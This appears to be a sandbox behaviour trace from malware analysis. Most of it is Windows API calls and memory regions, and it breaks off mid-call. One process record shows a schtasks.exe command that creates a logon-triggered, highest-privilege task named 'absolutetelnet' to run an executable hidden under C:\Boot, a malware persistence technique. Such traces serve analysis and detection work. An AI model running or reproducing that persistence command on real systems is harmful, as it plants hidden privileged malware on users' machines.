GetProcessHeap () returned 0x1abb7a10000 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a18fb0) returned 1 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a18fb0) returned 0x20 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a18ec0) returned 1 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a18ec0) returned 0x20 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a18f50) returned 1 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a18f50) returned 0x20 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a190a0) returned 1 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a190a0) returned 0x20 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14470) returned 1 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14470) returned 0x18 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a19220) returned 1 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a19220) returned 0x20 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a191f0) returned 1 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a191f0) returned 0x20 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a18ef0) returned 1 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a18ef0) returned 0x20 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a19160) returned 1 [0130.077] GetProcessHeap () returned 0x1abb7a10000 [0130.077] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a19160) returned 0x20 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a19130) returned 1 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a19130) returned 0x20 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13fd0) returned 1 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13fd0) returned 0x18 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a19190) returned 1 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a19190) returned 0x20 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a160a0) returned 1 [0130.078] GetProcessHeap () returned 0x1abb7a10000 [0130.078] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a160a0) returned 0x18 [0130.078] exit (_Code=0) Thread: id = 150 os_tid = 0x131c Process: id = "11" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x2986a000" os_pid = "0x980" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x11a8" cmd_line = "schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2875 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2876 start_va = 0x648000000 end_va = 0x6481fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000648000000" filename = "" Region: id = 2877 start_va = 0x648200000 end_va = 0x64827ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000648200000" filename = "" Region: id = 2878 start_va = 0x1157a530000 end_va = 0x1157a54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a530000" filename = "" Region: id = 2879 start_va = 0x1157a550000 end_va = 0x1157a564fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157a550000" filename = "" Region: id = 2880 start_va = 0x7df5fffe0000 end_va = 0x7ff5fffdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffe0000" filename = "" Region: id = 2881 start_va = 0x7ff6b6a60000 end_va = 0x7ff6b6a82fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b6a60000" filename = "" Region: id = 2882 start_va = 0x7ff6b6f50000 end_va = 0x7ff6b6f8cfff monitored = 1 entry_point = 0x7ff6b6f74550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2883 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2884 start_va = 0x1157a570000 end_va = 0x1157a573fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157a570000" filename = "" Region: id = 2885 start_va = 0x1157a580000 end_va = 0x1157a580fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157a580000" filename = "" Region: id = 2886 start_va = 0x1157a590000 end_va = 0x1157a591fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a590000" filename = "" Region: id = 2887 start_va = 0x1157a5a0000 end_va = 0x1157a69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a5a0000" filename = "" Region: id = 2888 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2889 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2890 start_va = 0x1157a530000 end_va = 0x1157a53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157a530000" filename = "" Region: id = 2891 start_va = 0x7ff6b6960000 end_va = 0x7ff6b6a5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b6960000" filename = "" Region: id = 2892 start_va = 0x1157a6a0000 end_va = 0x1157a75dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2893 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2894 start_va = 0x648280000 end_va = 0x6482fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000648280000" filename = "" Region: id = 2895 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2896 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2897 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2898 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2899 start_va = 0x1157a760000 end_va = 0x1157a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a760000" filename = "" Region: id = 2900 start_va = 0x1157a540000 end_va = 0x1157a546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a540000" filename = "" Region: id = 2901 start_va = 0x1157a820000 end_va = 0x1157a962fff monitored = 0 entry_point = 0x1157a848210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2902 start_va = 0x1157a760000 end_va = 0x1157a766fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a760000" filename = "" Region: id = 2903 start_va = 0x1157a810000 end_va = 0x1157a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a810000" filename = "" Region: id = 2904 start_va = 0x1157a770000 end_va = 0x1157a782fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2905 start_va = 0x1157a820000 end_va = 0x1157ab56fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2906 start_va = 0x1157ab60000 end_va = 0x1157ac3cfff monitored = 0 entry_point = 0x1157abbe0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2907 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2908 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2909 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2910 start_va = 0x1157a790000 end_va = 0x1157a7c8fff monitored = 0 entry_point = 0x1157a7912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2911 start_va = 0x1157ab60000 end_va = 0x1157ace7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157ab60000" filename = "" Region: id = 2912 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2913 start_va = 0x1157a790000 end_va = 0x1157a790fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a790000" filename = "" Region: id = 2914 start_va = 0x1157a7a0000 end_va = 0x1157a7a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001157a7a0000" filename = "" Region: id = 2915 start_va = 0x1157acf0000 end_va = 0x1157ae70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157acf0000" filename = "" Region: id = 2916 start_va = 0x1157ae80000 end_va = 0x1157c27ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157ae80000" filename = "" Region: id = 2918 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2919 start_va = 0x1157a7b0000 end_va = 0x1157a7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157a7b0000" filename = "" Region: id = 2920 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2921 start_va = 0x1157a7c0000 end_va = 0x1157a7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001157a7c0000" filename = "" Region: id = 2922 start_va = 0x7ffb18f90000 end_va = 0x7ffb1904efff monitored = 0 entry_point = 0x7ffb18fb1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2923 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2924 start_va = 0x7ffb190b0000 end_va = 0x7ffb190e5fff monitored = 0 entry_point = 0x7ffb190c0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 151 os_tid = 0x1354 [0129.786] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6b6f50000 [0129.786] __set_app_type (_Type=0x1) [0129.786] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6b6f748d0) returned 0x0 [0129.786] __wgetmainargs (in: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008, _DoWildCard=0, _StartInfo=0x7ff6b6f88014 | out: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008) returned 0 [0129.787] _onexit (_Func=0x7ff6b6f77ec0) returned 0x7ff6b6f77ec0 [0129.787] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0129.787] CsrIdentifyAlertableThread () returned 0x0 [0129.787] GetProcessHeap () returned 0x1157a5a0000 [0129.787] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a4a40 [0129.787] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.806] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0129.806] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0129.806] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0129.806] RtlVerifyVersionInfo (VersionInfo=0x64827f480, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0129.806] GetProcessHeap () returned 0x1157a5a0000 [0129.806] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a4a90 [0129.806] lstrlenW (lpString="") returned 0 [0129.806] GetProcessHeap () returned 0x1157a5a0000 [0129.806] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x2) returned 0x1157a5a4480 [0129.806] GetProcessHeap () returned 0x1157a5a0000 [0129.806] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a3fe0 [0129.806] GetProcessHeap () returned 0x1157a5a0000 [0129.806] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a4010 [0129.806] GetProcessHeap () returned 0x1157a5a0000 [0129.806] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a4030 [0129.807] GetProcessHeap () returned 0x1157a5a0000 [0129.807] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a4060 [0129.807] GetProcessHeap () returned 0x1157a5a0000 [0129.807] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a2090 [0129.808] GetProcessHeap () returned 0x1157a5a0000 [0129.808] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8dc0 [0129.808] GetProcessHeap () returned 0x1157a5a0000 [0129.808] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a20c0 [0129.808] GetProcessHeap () returned 0x1157a5a0000 [0129.808] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8f40 [0129.808] GetProcessHeap () returned 0x1157a5a0000 [0129.808] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8df0 [0129.808] GetProcessHeap () returned 0x1157a5a0000 [0129.808] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a9030 [0129.808] GetProcessHeap () returned 0x1157a5a0000 [0129.808] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8f70 [0129.808] GetProcessHeap () returned 0x1157a5a0000 [0129.809] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a20e0 [0129.809] GetProcessHeap () returned 0x1157a5a0000 [0129.809] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a9060 [0129.809] GetProcessHeap () returned 0x1157a5a0000 [0129.809] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a90f0 [0129.809] GetProcessHeap () returned 0x1157a5a0000 [0129.809] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a9090 [0129.809] GetProcessHeap () returned 0x1157a5a0000 [0129.809] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a90c0 [0129.809] SetThreadUILanguage (LangId=0x0) returned 0x409 [0129.812] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.812] GetProcessHeap () returned 0x1157a5a0000 [0129.812] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8fd0 [0129.812] GetProcessHeap () returned 0x1157a5a0000 [0129.812] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a9000 [0129.812] GetProcessHeap () returned 0x1157a5a0000 [0129.812] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a9120 [0129.812] GetProcessHeap () returned 0x1157a5a0000 [0129.812] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8e80 [0129.812] GetProcessHeap () returned 0x1157a5a0000 [0129.812] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8ee0 [0129.812] GetProcessHeap () returned 0x1157a5a0000 [0129.812] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a46d0 [0129.812] _memicmp (_Buf1=0x1157a5a46d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.812] GetProcessHeap () returned 0x1157a5a0000 [0129.812] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x208) returned 0x1157a5a9a60 [0129.812] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1157a5a9a60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0129.813] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x64827f5d8 | out: lpdwHandle=0x64827f5d8) returned 0x76c [0129.815] GetProcessHeap () returned 0x1157a5a0000 [0129.815] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x776) returned 0x1157a5aa7c0 [0129.815] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1157a5aa7c0 | out: lpData=0x1157a5aa7c0) returned 1 [0129.815] VerQueryValueW (in: pBlock=0x1157a5aa7c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x64827f570, puLen=0x64827f5d0 | out: lplpBuffer=0x64827f570*=0x1157a5aab70, puLen=0x64827f5d0) returned 1 [0129.818] _memicmp (_Buf1=0x1157a5a46d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.818] _vsnwprintf (in: _Buffer=0x1157a5a9a60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x64827f548 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.818] VerQueryValueW (in: pBlock=0x1157a5aa7c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x64827f560, puLen=0x64827f5c8 | out: lplpBuffer=0x64827f560*=0x1157a5aa9a0, puLen=0x64827f5c8) returned 1 [0129.818] lstrlenW (lpString="schtasks.exe") returned 12 [0129.818] lstrlenW (lpString="schtasks.exe") returned 12 [0129.818] lstrlenW (lpString=".EXE") returned 4 [0129.819] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.822] lstrlenW (lpString="schtasks.exe") returned 12 [0129.822] lstrlenW (lpString=".EXE") returned 4 [0129.822] _memicmp (_Buf1=0x1157a5a46d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.822] lstrlenW (lpString="schtasks") returned 8 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8eb0 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5a8f10 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab9c0 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab600 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a3880 [0129.822] _memicmp (_Buf1=0x1157a5a3880, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xa0) returned 0x1157a5a38a0 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab630 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab660 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab690 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.822] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a3950 [0129.822] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.822] GetProcessHeap () returned 0x1157a5a0000 [0129.823] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x200) returned 0x1157a5aba90 [0129.823] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.823] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.823] GetProcessHeap () returned 0x1157a5a0000 [0129.823] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x30) returned 0x1157a5a4290 [0129.823] _vsnwprintf (in: _Buffer=0x1157a5a38a0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x64827f548 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0129.823] GetProcessHeap () returned 0x1157a5a0000 [0129.823] GetProcessHeap () returned 0x1157a5a0000 [0129.823] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa7c0) returned 1 [0129.823] GetProcessHeap () returned 0x1157a5a0000 [0129.823] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa7c0) returned 0x776 [0129.824] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5aa7c0) returned 1 [0129.824] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.824] GetThreadLocale () returned 0x409 [0129.824] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.824] lstrlenW (lpString="?") returned 1 [0129.824] GetThreadLocale () returned 0x409 [0129.824] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, 